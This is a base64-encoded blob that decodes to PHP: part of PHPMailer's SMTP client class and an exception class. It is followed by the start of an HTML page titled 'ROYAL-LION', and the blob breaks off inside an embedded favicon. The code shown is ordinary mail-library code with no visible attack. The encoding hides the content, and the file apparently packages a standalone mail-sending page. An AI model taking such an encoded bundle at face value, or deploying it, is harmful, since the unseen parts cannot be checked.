LiBIRUxPL0VITE8gaGFzIG5vdCBiZWVuIHNlbnQgLSByZXR1cm5zIG51bGwgYW5kIHBvcHVsYXRlcyAkdGhpcy0+ZXJyb3IuCiAgICAgKiAgIDIuIEhFTE8gaGFzIGJlZW4gc2VudCAtCiAgICAgKiAgICAgJG5hbWUgPT0gJ0hFTE8nOiByZXR1cm5zIHNlcnZlciBuYW1lCiAgICAgKiAgICAgJG5hbWUgPT0gJ0VITE8nOiByZXR1cm5zIGJvb2xlYW4gZmFsc2UKICAgICAqICAgICAkbmFtZSA9PSBhbnkgb3RoZXIgc3RyaW5nOiByZXR1cm5zIG51bGwgYW5kIHBvcHVsYXRlcyAkdGhpcy0+ZXJyb3IKICAgICAqICAgMy4gRUhMTyBoYXMgYmVlbiBzZW50IC0KICAgICAqICAgICAkbmFtZSA9PSAnSEVMTyd8J0VITE8nOiByZXR1cm5zIHRoZSBzZXJ2ZXIgbmFtZQogICAgICogICAgICRuYW1lID09IGFueSBvdGhlciBzdHJpbmc6IGlmIGV4dGVuc2lvbiAkbmFtZSBleGlzdHMsIHJldHVybnMgVHJ1ZQogICAgICogICAgICAgb3IgaXRzIG9wdGlvbnMgKGUuZy4gQVVUSCBtZWNoYW5pc21zIHN1cHBvcnRlZCkuIE90aGVyd2lzZSByZXR1cm5zIEZhbHNlLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgTmFtZSBvZiBTTVRQIGV4dGVuc2lvbiBvciAnSEVMTyd8J0VITE8nCiAgICAgKgogICAgICogQHJldHVybiBtaXhlZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U2VydmVyRXh0KCRuYW1lKQogICAgewogICAgICAgIGlmICghJHRoaXMtPnNlcnZlcl9jYXBzKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcignTm8gSEVMTy9FSExPIHdhcyBzZW50Jyk7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuYW1lLCAkdGhpcy0+c2VydmVyX2NhcHMpKSB7CiAgICAgICAgICAgIGlmICgnSEVMTycgPT0gJG5hbWUpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VydmVyX2NhcHNbJ0VITE8nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJ0VITE8nID09ICRuYW1lIHx8IGFycmF5X2tleV9leGlzdHMoJ0VITE8nLCAkdGhpcy0+c2VydmVyX2NhcHMpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCdIRUxPIGhhbmRzaGFrZSB3YXMgdXNlZDsgTm8gaW5mb3JtYXRpb24gYWJvdXQgc2VydmVyIGV4dGVuc2lvbnMgYXZhaWxhYmxlJyk7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5zZXJ2ZXJfY2Fwc1skbmFtZV07CiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgbGFzdCByZXBseSBmcm9tIHRoZSBzZXJ2ZXIuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldExhc3RSZXBseSgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0X3JlcGx5OwogICAgfQogICAgLyoqCiAgICAgKiBSZWFkIHRoZSBTTVRQIHNlcnZlcidzIHJlc3BvbnNlLgogICAgICogRWl0aGVyIGJlZm9yZSBlb2Ygb3Igc29ja2V0IHRpbWVvdXQgb2NjdXJzIG9uIHRoZSBvcGVyYXRpb24uCiAgICAgKiBXaXRoIFNNVFAgd2UgY2FuIHRlbGwgaWYgd2UgaGF2ZSBtb3JlIGxpbmVzIHRvIHJlYWQgaWYgdGhlCiAgICAgKiA0dGggY2hhcmFjdGVyIGlzICctJyBzeW1ib2wuIElmIGl0IGlzIGEgc3BhY2UgdGhlbiB3ZSBkb24ndAogICAgICogbmVlZCB0byByZWFkIGFueXRoaW5nIGVsc2UuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9saW5lcygpCiAgICB7CiAgICAgICAgLy8gSWYgdGhlIGNvbm5lY3Rpb24gaXMgYmFkLCBnaXZlIHVwIHN0cmFpZ2h0IGF3YXkKICAgICAgICBpZiAoIWlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pKSB7CiAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICB9CiAgICAgICAgJGRhdGEgPSAnJzsKICAgICAgICAkZW5kdGltZSA9IDA7CiAgICAgICAgc3RyZWFtX3NldF90aW1lb3V0KCR0aGlzLT5zbXRwX2Nvbm4sICR0aGlzLT5UaW1lb3V0KTsKICAgICAgICBpZiAoJHRoaXMtPlRpbWVsaW1pdCA+IDApIHsKICAgICAgICAgICAgJGVuZHRpbWUgPSB0aW1lKCkgKyAkdGhpcy0+VGltZWxpbWl0OwogICAgICAgIH0KICAgICAgICAkc2VsUiA9IFskdGhpcy0+c210cF9jb25uXTsKICAgICAgICAkc2VsVyA9IG51bGw7CiAgICAgICAgd2hpbGUgKGlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pIGFuZCAhZmVvZigkdGhpcy0+c210cF9jb25uKSkgewogICAgICAgICAgICAvL011c3QgcGFzcyB2YXJzIGluIGhlcmUgYXMgcGFyYW1zIGFyZSBieSByZWZlcmVuY2UKICAgICAgICAgICAgaWYgKCFzdHJlYW1fc2VsZWN0KCRzZWxSLCAkc2VsVywgJHNlbFcsICR0aGlzLT5UaW1lbGltaXQpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKAogICAgICAgICAgICAgICAgICAgICdTTVRQIC0+IGdldF9saW5lcygpOiB0aW1lZC1vdXQgKCcgLiAkdGhpcy0+VGltZW91dCAuICcgc2VjKScsCiAgICAgICAgICAgICAgICAgICAgc2VsZjo6REVCVUdfTE9XTEVWRUwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0RlbGliZXJhdGUgbm9pc2Ugc3VwcHJlc3Npb24gLSBlcnJvcnMgYXJlIGhhbmRsZWQgYWZ0ZXJ3YXJkcwogICAgICAgICAgICAkc3RyID0gQGZnZXRzKCR0aGlzLT5zbXRwX2Nvbm4sIDUxNSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgSU5CT1VORDogIicgLiB0cmltKCRzdHIpIC4gJyInLCBzZWxmOjpERUJVR19MT1dMRVZFTCk7CiAgICAgICAgICAgICRkYXRhIC49ICRzdHI7CiAgICAgICAgICAgIC8vIElmIHJlc3BvbnNlIGlzIG9ubHkgMyBjaGFycyAobm90IHZhbGlkLCBidXQgUkZDNTMyMSBTNC4yIHNheXMgaXQgbXVzdCBiZSBoYW5kbGVkKSwKICAgICAgICAgICAgLy8gb3IgNHRoIGNoYXJhY3RlciBpcyBhIHNwYWNlLCB3ZSBhcmUgZG9uZSByZWFkaW5nLCBicmVhayB0aGUgbG9vcCwKICAgICAgICAgICAgLy8gc3RyaW5nIGFycmF5IGFjY2VzcyBpcyBhIG1pY3JvLW9wdGltaXNhdGlvbiBvdmVyIHN0cmxlbgogICAgICAgICAgICBpZiAoIWlzc2V0KCRzdHJbM10pIG9yIChpc3NldCgkc3RyWzNdKSBhbmQgJHN0clszXSA9PSAnICcpKSB7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBUaW1lZC1vdXQ/IExvZyBhbmQgYnJlYWsKICAgICAgICAgICAgJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkdGhpcy0+c210cF9jb25uKTsKICAgICAgICAgICAgaWYgKCRpbmZvWyd0aW1lZF9vdXQnXSkgewogICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygKICAgICAgICAgICAgICAgICAgICAnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWQtb3V0ICgnIC4gJHRoaXMtPlRpbWVvdXQgLiAnIHNlYyknLAogICAgICAgICAgICAgICAgICAgIHNlbGY6OkRFQlVHX0xPV0xFVkVMCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gTm93IGNoZWNrIGlmIHJlYWRzIHRvb2sgdG9vIGxvbmcKICAgICAgICAgICAgaWYgKCRlbmR0aW1lIGFuZCB0aW1lKCkgPiAkZW5kdGltZSkgewogICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygKICAgICAgICAgICAgICAgICAgICAnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWxpbWl0IHJlYWNoZWQgKCcgLgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VGltZWxpbWl0IC4gJyBzZWMpJywKICAgICAgICAgICAgICAgICAgICBzZWxmOjpERUJVR19MT1dMRVZFTAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZGF0YTsKICAgIH0KICAgIC8qKgogICAgICogRW5hYmxlIG9yIGRpc2FibGUgVkVSUCBhZGRyZXNzIGdlbmVyYXRpb24uCiAgICAgKgogICAgICogQHBhcmFtIGJvb2wgJGVuYWJsZWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNldFZlcnAoJGVuYWJsZWQgPSBmYWxzZSkKICAgIHsKICAgICAgICAkdGhpcy0+ZG9fdmVycCA9ICRlbmFibGVkOwogICAgfQogICAgLyoqCiAgICAgKiBHZXQgVkVSUCBhZGRyZXNzIGdlbmVyYXRpb24gbW9kZS4KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFZlcnAoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZG9fdmVycDsKICAgIH0KICAgIC8qKgogICAgICogU2V0IGVycm9yIG1lc3NhZ2VzIGFuZCBjb2Rlcy4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlICAgICAgVGhlIGVycm9yIG1lc3NhZ2UKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRldGFpbCAgICAgICBGdXJ0aGVyIGRldGFpbCBvbiB0aGUgZXJyb3IKICAgICAqIEBwYXJhbSBzdHJpbmcgJHNtdHBfY29kZSAgICBBbiBhc3NvY2lhdGVkIFNNVFAgZXJyb3IgY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkc210cF9jb2RlX2V4IEV4dGVuZGVkIFNNVFAgY29kZQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1lc3NhZ2UsICRkZXRhaWwgPSAnJywgJHNtdHBfY29kZSA9ICcnLCAkc210cF9jb2RlX2V4ID0gJycpCiAgICB7CiAgICAgICAgJHRoaXMtPmVycm9yID0gWwogICAgICAgICAgICAnZXJyb3InID0+ICRtZXNzYWdlLAogICAgICAgICAgICAnZGV0YWlsJyA9PiAkZGV0YWlsLAogICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkc210cF9jb2RlLAogICAgICAgICAgICAnc210cF9jb2RlX2V4JyA9PiAkc210cF9jb2RlX2V4LAogICAgICAgIF07CiAgICB9CiAgICAvKioKICAgICAqIFNldCBkZWJ1ZyBvdXRwdXQgbWV0aG9kLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmd8Y2FsbGFibGUgJG1ldGhvZCBUaGUgbmFtZSBvZiB0aGUgbWVjaGFuaXNtIHRvIHVzZSBmb3IgZGVidWdnaW5nIG91dHB1dCwgb3IgYSBjYWxsYWJsZSB0byBoYW5kbGUgaXQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNldERlYnVnT3V0cHV0KCRtZXRob2QgPSAnZWNobycpCiAgICB7CiAgICAgICAgJHRoaXMtPkRlYnVnb3V0cHV0ID0gJG1ldGhvZDsKICAgIH0KICAgIC8qKgogICAgICogR2V0IGRlYnVnIG91dHB1dCBtZXRob2QuCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldERlYnVnT3V0cHV0KCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkRlYnVnb3V0cHV0OwogICAgfQogICAgLyoqCiAgICAgKiBTZXQgZGVidWcgb3V0cHV0IGxldmVsLgogICAgICoKICAgICAqIEBwYXJhbSBpbnQgJGxldmVsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXREZWJ1Z0xldmVsKCRsZXZlbCA9IDApCiAgICB7CiAgICAgICAgJHRoaXMtPmRvX2RlYnVnID0gJGxldmVsOwogICAgfQogICAgLyoqCiAgICAgKiBHZXQgZGVidWcgb3V0cHV0IGxldmVsLgogICAgICoKICAgICAqIEByZXR1cm4gaW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXREZWJ1Z0xldmVsKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmRvX2RlYnVnOwogICAgfQogICAgLyoqCiAgICAgKiBTZXQgU01UUCB0aW1lb3V0LgogICAgICoKICAgICAqIEBwYXJhbSBpbnQgJHRpbWVvdXQgVGhlIHRpbWVvdXQgZHVyYXRpb24gaW4gc2Vjb25kcwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VGltZW91dCgkdGltZW91dCA9IDApCiAgICB7CiAgICAgICAgJHRoaXMtPlRpbWVvdXQgPSAkdGltZW91dDsKICAgIH0KICAgIC8qKgogICAgICogR2V0IFNNVFAgdGltZW91dC4KICAgICAqCiAgICAgKiBAcmV0dXJuIGludAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VGltZW91dCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5UaW1lb3V0OwogICAgfQogICAgLyoqCiAgICAgKiBSZXBvcnRzIGFuIGVycm9yIG51bWJlciBhbmQgc3RyaW5nLgogICAgICoKICAgICAqIEBwYXJhbSBpbnQgICAgJGVycm5vICAgVGhlIGVycm9yIG51bWJlciByZXR1cm5lZCBieSBQSFAKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVycm1zZyAgVGhlIGVycm9yIG1lc3NhZ2UgcmV0dXJuZWQgYnkgUEhQCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlcnJmaWxlIFRoZSBmaWxlIHRoZSBlcnJvciBvY2N1cnJlZCBpbgogICAgICogQHBhcmFtIGludCAgICAkZXJybGluZSBUaGUgbGluZSBudW1iZXIgdGhlIGVycm9yIG9jY3VycmVkIG9uCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlcnJvckhhbmRsZXIoJGVycm5vLCAkZXJybXNnLCAkZXJyZmlsZSA9ICcnLCAkZXJybGluZSA9IDApCiAgICB7CiAgICAgICAgJG5vdGljZSA9ICdDb25uZWN0aW9uIGZhaWxlZC4nOwogICAgICAgICR0aGlzLT5zZXRFcnJvcigKICAgICAgICAgICAgJG5vdGljZSwKICAgICAgICAgICAgJGVycm1zZywKICAgICAgICAgICAgKHN0cmluZykgJGVycm5vCiAgICAgICAgKTsKICAgICAgICAkdGhpcy0+ZWRlYnVnKAogICAgICAgICAgICAiJG5vdGljZSBFcnJvciAjJGVycm5vOiAkZXJybXNnIFskZXJyZmlsZSBsaW5lICRlcnJsaW5lXSIsCiAgICAgICAgICAgIHNlbGY6OkRFQlVHX0NPTk5FQ1RJT04KICAgICAgICApOwogICAgfQogICAgLyoqCiAgICAgKiBFeHRyYWN0IGFuZCByZXR1cm4gdGhlIElEIG9mIHRoZSBsYXN0IFNNVFAgdHJhbnNhY3Rpb24gYmFzZWQgb24KICAgICAqIGEgbGlzdCBvZiBwYXR0ZXJucyBwcm92aWRlZCBpbiBTTVRQOjokc210cF90cmFuc2FjdGlvbl9pZF9wYXR0ZXJucy4KICAgICAqIFJlbGllcyBvbiB0aGUgaG9zdCBwcm92aWRpbmcgdGhlIElEIGluIHJlc3BvbnNlIHRvIGEgREFUQSBjb21tYW5kLgogICAgICogSWYgbm8gcmVwbHkgaGFzIGJlZW4gcmVjZWl2ZWQgeWV0LCBpdCB3aWxsIHJldHVybiBudWxsLgogICAgICogSWYgbm8gcGF0dGVybiB3YXMgbWF0Y2hlZCwgaXQgd2lsbCByZXR1cm4gZmFsc2UuCiAgICAgKgogICAgICogQHJldHVybiBib29sfG51bGx8c3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiByZWNvcmRMYXN0VHJhbnNhY3Rpb25JRCgpCiAgICB7CiAgICAgICAgJHJlcGx5ID0gJHRoaXMtPmdldExhc3RSZXBseSgpOwogICAgICAgIGlmIChlbXB0eSgkcmVwbHkpKSB7CiAgICAgICAgICAgICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQgPSBudWxsOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQgPSBmYWxzZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnNtdHBfdHJhbnNhY3Rpb25faWRfcGF0dGVybnMgYXMgJHNtdHBfdHJhbnNhY3Rpb25faWRfcGF0dGVybikgewogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJHNtdHBfdHJhbnNhY3Rpb25faWRfcGF0dGVybiwgJHJlcGx5LCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bGFzdF9zbXRwX3RyYW5zYWN0aW9uX2lkID0gdHJpbSgkbWF0Y2hlc1sxXSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQ7CiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgcXVldWUvdHJhbnNhY3Rpb24gSUQgb2YgdGhlIGxhc3QgU01UUCB0cmFuc2FjdGlvbgogICAgICogSWYgbm8gcmVwbHkgaGFzIGJlZW4gcmVjZWl2ZWQgeWV0LCBpdCB3aWxsIHJldHVybiBudWxsLgogICAgICogSWYgbm8gcGF0dGVybiB3YXMgbWF0Y2hlZCwgaXQgd2lsbCByZXR1cm4gZmFsc2UuCiAgICAgKgogICAgICogQHJldHVybiBib29sfG51bGx8c3RyaW5nCiAgICAgKgogICAgICogQHNlZSByZWNvcmRMYXN0VHJhbnNhY3Rpb25JRCgpCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMYXN0VHJhbnNhY3Rpb25JRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQ7CiAgICB9Cn0KCgoKCgovKioKICogUEhQTWFpbGVyIGV4Y2VwdGlvbiBoYW5kbGVyCiAqIEBwYWNrYWdlIFBIUE1haWxlcgogKi8KY2xhc3MgcGhwbWFpbGVyRXhjZXB0aW9uIGV4dGVuZHMgRXhjZXB0aW9uCnsKICAgIC8qKgogICAgICogUHJldHRpZnkgZXJyb3IgbWVzc2FnZSBvdXRwdXQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlcnJvck1lc3NhZ2UoKQogICAgewogICAgICAgICRlcnJvck1zZyA9ICc8c3Ryb25nPicgLiAkdGhpcy0+Z2V0TWVzc2FnZSgpIC4gIjwvc3Ryb25nPjxiciAvPlxuIjsKICAgICAgICByZXR1cm4gJGVycm9yTXNnOwogICAgfQp9CgoKCj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUUgPSBlZGdlIj4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aCA9IGRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZSA9IDEiPgogICAgPHRpdGxlPlJPWUFMLUxJT048L3RpdGxlPgogICAgPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9ImRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQnhFUUVoVVBFQklWRlJVVkZSVVdFQlVWRlJVVkZoWVZGUlVYR1JZVkZoWVlIU2dnR0IwbEhSVVhJVEVoSlNrckxpNHVHQjh6T0RNc055Z3RMaXNCQ2dvS0RnME9HaEFRR3kwbEh5WXRMUzhyTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTNHRMUzB0TFMwdExTMHJMUzB0TGYvQUFCRUlBT0VBNFFNQklnQUNFUUVERVFIL3hBQWJBQUFDQXdFQkFRQUFBQUFBQUFBQUFBQURCQUlGQmdBQkIvL0VBRUVRQUFJQkFnUURCZ1FFQXdZRUJ3QUFBQUVDQXdBUkJCSWhNUVZCVVFZVEltRnhnVEtSb2JGQ1VzSHdJMkp5RklLUzBlSHhGVE5Eb2djV0pGTnpzc0wveEFBYUFRQURBUUVCQVFBQUFBQUFBQUFBQUFBQ0F3UUJCUUFHLzhRQUtoRUFBd0FDQWdJQ0FRTUVBd0VBQUFBQUFBRUNBeEVTSVFReElrRlJFekpoQlNOeDhJR1JvUlQvMmdBTUF3RUFBaEVERVFBL0FQa3dxWXJ3Q3BnVVJRa2NCVXdLNVJSRkZEc1lrY0JSQXRjaTBaVm9XeHFraXEwUlZxU3JSVldnYkdKRUF0U0NVVUpSQkhTM1F4U0FDVk1KUjFqcVlqb0hZYWdYQ1Y3a3BrUjEzZDBQTTNnSzVLNHBUZmRWRXgxN21lNENoU29sS2JNZFJNZEVyTWNDUlNvTWxPUEhhaHNsR3FGdUJObHFCRk5PbENaS1lxRnRDekNvRVVkbG9iQ2pUQWFBRVZCaFJ5S0dSUklVMEJJcUpGRklxQkZFTGFJMnJ5cFYxZTJab21CUkFLOFVVUlJRakVqMVZvaXJYaWlqS0tGc2RLUFVXaXF0Y3EwZEVwYlkyVWVJbEdSS21rZEhSS1RWRDVrR3NkRVdPakpIUlJIU0hZNVFCV09waU9uTUhoZzdCVHBlL3dBN2FWN0hoaWIrVzVwTlpsdlExWXhQdTZPY0djbmVqNFFjcmVSNWV4cTc0ZndrelJzeHNGVGR6cFlXdWZXMVhYQjhKRXNMWjE4RW9PaDNDcXZoUHJZWC92aW84bm1xZlJscFNqSFFRQjQyL01tdnRTZmRHdG5ndXp1VjUxTEN3aWJ1ejFCc1FUN1V4aXVBTEpob3BvaFpndXEvbTN2Ynowb1g1OHkvNFo1MUcwbVlXZURLU3ZUZjVVT0tNM3NCYzhxME0vQ0hsQ1NvTkhCdjVNcENuN2lrT0k0ZnVKSkl1ZHdBZjVTTC9xS3F4K1NyV2w3UFZLMzBWV01zV0pIN3RYajRGd3VjclllZWgxOHQ2YmpVS00raE43S09uVmlQdC9wUUpTVHFTU1R2ZXFKdCtrTGNma3Izam9mYzMycHhrb3VBdythUURwY3Q1QURXbjg5TFluaHNwblNnc3RQU0xTN3BUNW9SVTZGU3REWVV3eTBKaFRVeE5JWElxQkZHWVVOaFJJVTBRcnE5dFh0YURvSW9vaWlvcUtNb29XeHlSSkZvNkxVVUZNUnJTcVk2VVNqU21VU294clRLSlNLb29pVGtTanFsVGdpekVBYmsySHFkcWR3K0JrWVhWQ1FEWTJGN0grYnA3MUxreXBleW1aRm8xc1FmT25zZGdXVzBnQnlOcXJXMDlEME5YR0E3UG82Z3ltU0lqZk1sMEk2aGdMRDNyVGNLTUNSbUtDUldPcEt1Y3l0MUlzZFBhOXVsYzNMNXFUK1BabDVWUHJzdy9Dd0RlTTJGeXBSdWF2ZnduME94OXExVWZDWU83dEljak1POGtINVFOYlc2Y3ZlcTdpR0N3N2t2SC9Ba1UrSkNNMGQvSWo0Zlhha3UwUWxtTFRRdDRpb3pJRHFQRGxPWGt5bTMzNjBwcDVyV25vTnVyUzF0RjB6cjNVa0tFZkVHRnZ4S1ZKSDFIekZWdUM0b3NzUncwaHNVK0IrVzFoZnlJTnF3dUU0MUtoeVNOWWcyQk9sdGRpT2w5YVpYakJoa0puUXFHMHpEVlNmSTdlMitsVXIrbk9VL3NHS3h2MytUV2YydDFCVW14QTBPL2tSZm1DRytsWFVQRWdzT1ZmOEFweC85eEl5ajcvT3NGaU9KUnlaY2o2RTJ2NVhCUHBjQWlySVl1NEFYWFc1dHJjL2hINzYwdkw0ZTB0bERpTW5SOUJpUkhqa1dJQU1jNUE1QmlOU09uSSt0WlR0aGdjM2Q0bEJwSUxQL0FGS05ENkVENlY1aGNleUFETVJiV1FqNGl6RytXL3NLdm9NUkUrSEQ0bFJZRTkyZ3Z0K0ZRQWRUYm4wTlJUTjRMNUlrZUtzTmI5b3dENFJpK1JScWRoL3ZTakpYMFE4SXpJODBNWTcxaGxSUllMR0czSUozSUhPc2p4RGhMUW5MSXlBOHdIRE1QVURhdWo0L2xxK21ObHpmUzlsSXlWYTROVkVSWDRXazB2dVNPZGhTenhxUHhYOXYxcHlHWHVVN3h0UzN3RHk2MVJscmt0STFSb284Ync5NDlTTk91bjJxdWtXcm5FU21adkVCYzdFY3Y4NnJaVXF6RFQxcXZaTmtoZlFpNjB1NjA2NjB1NjFYTEpLUXF3b2JDbUdGQ1lVMU1TMEJ0WFZPMWRXN0EwRlVVWkJVRUZHUVVESFNnMGEwekd0Q2pGTlJpa1d5aVVFaldtbzFvY1MwMUd0UzNSVkVoc0tMTUNCYzNGaHJxZVZyYTF2c1JqTVBnRUdKeENBU2xkYmZGcnlheENuK28yOXpXZjdKNE84bmZOb2tZTEVuYTQvUWJuL1dsZTJQYkJVeXNJUSthOXJoY3dYekpCTnowRmhYTnlTOCtSU3ZSbWFkdlQ5TDJhckM5c29wUi9EVUpwZlhWVDYycWg0eExGS2M4ZjhBRGErWmhZNy9BSmxaYXp2QzVZNVAvVVlkQ3Y4QTcwTnJHM05sWHI1RGV2WmNFTDN3OGl0R1RyR3dEcUNkeGxiNGZUU3Rud29pK3VodUxGRS9LVHpqT05LZ1hMRWpaa1lCbDhpRHV2clZGL3htWlc3d0FzUHhrQ3h0MUlGeGZ6dlY3TGc4TU40STc4N0xZMy9wUE9xdkVjT2h2ZVBQQzNKaG1zUFVFN2Vocm80dUNXdEhzMFpGMm1WM0VzUU1VeW13RGFBTnNUMHpWcFljY3FEVThoZnpzT2ZXc3JqU3lNRm0wY1d0SU5tMTBPbS8zRkR4K0pPUzE5YzJuekgrbE9yRnlTUkxPZmcyMzdOUE5EaHcyZklxa2I1ZEFmSmxHaCtWTVlHZktjcXFBdTZsUUFOZE5odDEvZHF5dUx4VGFqbis3ZmV2SVhNVnpKSWIyK0ZBTDNPZ0Z6ejhyVUR3YlhiR3J5cDMwalM0VGppcGRaVnl1cDFERWZFZEwrZ0FHdlAzclI0VEZkNlJ2bEhuWW5iL0FBamJ6MjVrVmgvK0tJTm9MdUJiTVVNcktlZ1kzc2ZTaVlTYkh5SE5HaEE1WnZBbzg3SGYzcWZMNHFydjBOblAxcjJmVDM0bXFnSllFWEMyR2ExOXNpS3BGN2N5VHZWZHhiaVBDa3ZITElZV0pzZkF6TGZ6TWVwK2RVbkJwU1BpbEVzb0J2YTVWVHRZRUN3QTZVcmlwc05nclRNZ2xuWTNUUFkyMTNDN0tQU29vOFNGZjgvd0RXTFU4azlGNWpPendXTVR3TUprSXY0VklOdXBVbTlxb2NVcmJzRDVYRnEwWFpEdE0yTUxRVFpic0QzZW1XekFhRDNGL2tPdEE0bHc0Z2xYdnpzVHVENTlhMVpheDN4eUJZbTZUbW1aNkZEZXdHcDA5UE9sK0t3aFpHQS9keFZuaG9pSDhMRFQydjZYcXZ4NXU3RTlhcngxdXpMbjRsVkl0THlMVHNpMHRJdGRDV1JVaE54UW5GTXVLQXdwNko2UUsxZFVyVjVXaXd5Q21JeFFVRk1SaWdwajVReEVLYmpGTHhDbTR4VTFzcGhEZUZoTEd3dDdrTDlTYXZNUHduTHEwMFNucG1CUDBxamlGYURzM3d4cEg3ek4zYUpxMGhzTGVoUFA3VnpQS3BwYjNvcFQ0clpmNHpBTkZnc3JNV1o3WDNGeVRvTmRsVVhOdVpyRWNmd0NBWjVpTC9ER3ZMKzliN1hINlY5VDRzRmFFU0w0Z292R1RjZy96SHIxSHRYekhpOFFMZC9LeFFDNUZzM2VFYzl6WUQycVQrblpXMjMvQUNaNHI1eFd5bTdOWVNSWmlidFlhZ3JwYnlJSU54VmoybDRmRE5lVElVbDV1dmhKL3FYWnYzclNEOXIwdjNlSFFNTmlHVmxKL3ZqbjZpcFRaNVJkR0kwK0NTNUk2MllmN2VsZFp6VHRVK2pVOGZGelBaU3BpbkZrYzk2RnVGMUtPQjB2ZnkydVJRY1JpRi9CM2lIa0MxeDlxOHh2aE55UUdCMDFCMUhvVFVZK0Z6WWp4SXR